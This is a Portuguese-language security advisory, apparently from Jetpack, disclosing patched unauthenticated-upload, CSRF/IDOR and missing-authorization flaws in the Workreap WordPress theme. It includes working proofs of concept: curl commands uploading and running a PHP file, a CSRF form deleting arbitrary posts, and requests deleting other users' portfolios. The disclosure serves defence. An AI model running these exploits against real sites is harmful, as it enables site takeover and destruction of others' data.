Várias vulnerabilidades no tema Workreap da Amentotech

Publicados: 2021-07-07

Recentemente, a equipe do Jetpack encontrou alguns arquivos infectados em um dos sites de nossos clientes hospedados e rapidamente rastreou a origem da infecção até o tema Workreap da Amentotech. Iniciamos uma investigação e descobrimos vários endpoints AJAX vulneráveis ​​no tema; o mais grave deles era uma vulnerabilidade de upload não validada não autenticada, que potencialmente levava à execução remota de código e ao controle total do site.

Relatamos as vulnerabilidades à equipe da Amentotech por meio do programa Envato Útil Hacker, e os problemas foram resolvidos prontamente por eles. A versão 2.2.2 do tema foi lançada em 29 de junho de 2021 que corrige as vulnerabilidades encontradas.

TL;DR

Devido à gravidade das vulnerabilidades, é altamente recomendável que todos os usuários do tema Workreap atualizem para a versão 2.2.2 ou posterior o mais rápido possível.

Baixe a atualização do site do tema e instale-a manualmente ou atualize automaticamente através do plug-in do mercado Envato.

Detalhes

Nome do Tema: Workreap
URI do tema: http://amentotech.com/projects/wpworkreap
Autor: Amentotech
URI do autor: https://themeforest.net/user/amentotech/portfolio

As vulnerabilidades

Devido à gravidade das vulnerabilidades, atrasaremos a publicação da prova de conceito e da análise completa para dar aos usuários tempo para atualizar.

Upload não autenticado levando à execução remota de código

Versões Afetadas: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10,0
CWE: CWE-284, CWE-641,
CWSS: 90,7
Link do WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

As ações AJAX workreap_award_temp_file_uploader e workreap_temp_file_uploader não executaram verificações de nonce ou validaram que a solicitação é de um usuário válido de qualquer outra forma. Os endpoints permitiam o upload de arquivos arbitrários para o diretório uploads/workreap-temp . Os arquivos enviados não foram higienizados nem validados, permitindo que um visitante não autenticado fizesse upload de código executável, como scripts php.

Prova de conceito

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Várias vulnerabilidades CSRF + IDOR

Versões Afetadas: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8,2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78,3
Link WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Várias ações AJAX disponíveis no tema Workreap careciam de proteções CSRF, além de permitir referências a objetos diretos inseguros (IDOR) que não foram validadas. Isso permite que um invasor engane um usuário conectado para enviar uma solicitação POST ao site vulnerável, potencialmente modificando ou excluindo objetos arbitrários no site de destino.

Nas versões anteriores à 2.0.0, essas ações careciam completamente de autenticação e eram exploráveis ​​por qualquer visitante do site.

Prova de conceito

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Faltam verificações de autorização em ações AJAX

Versões Afetadas: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7,1
CWE: CWE-283, CWE-862
CWSS: 68,5
Link do WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Várias ações AJAX disponíveis no tema Workreap estavam sem verificações de autorização para verificar se um usuário estava autorizado a executar operações críticas, como modificar ou excluir objetos. Isso permitia que um usuário logado modificasse ou excluísse objetos pertencentes a outros usuários no site.

Nas versões anteriores a 2.0.0, essas ações carecem completamente de autenticação e eram exploráveis ​​por qualquer visitante do site.

Prova de conceito

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Linha do tempo

24/06/2021: Vulnerabilidade de upload inicial descoberta pela equipe do Jetpack Scan, relatada ao programa Envato Útil Hacker.
25/06/2021: Outras vulnerabilidades documentadas foram descobertas, informou a Amentotech via Envato.
27/06/2021: A versão 2.2.1 foi lançada, corrigiu algumas, mas não todas as vulnerabilidades.
29/06/2021: Versão 2.2.2 lançada e correções verificadas pela equipe do Jetpack Scan.

Conclusão

Recomendamos que você verifique a versão atual do tema Workreap que está usando em seu site e, se for inferior a 2.2.2, atualize-o o mais rápido possível!

Na Jetpack, trabalhamos duro para garantir que seus sites estejam protegidos contra esses tipos de vulnerabilidades. Para ficar um passo à frente de qualquer nova ameaça, confira o Jetpack Scan, que inclui verificação de segurança e remoção automatizada de malware.

Créditos

Pesquisador original: Harald Eilertsen

Agradecemos ao restante da equipe do Jetpack Scan pelos comentários, ajuda e correções. Também agradecemos ao kailoon do programa Envato Útil Hacker pela ajuda para entrar em contato com a Amentotech, e à Amentotech por uma pronta resposta para resolver os problemas e lançar a versão atualizada.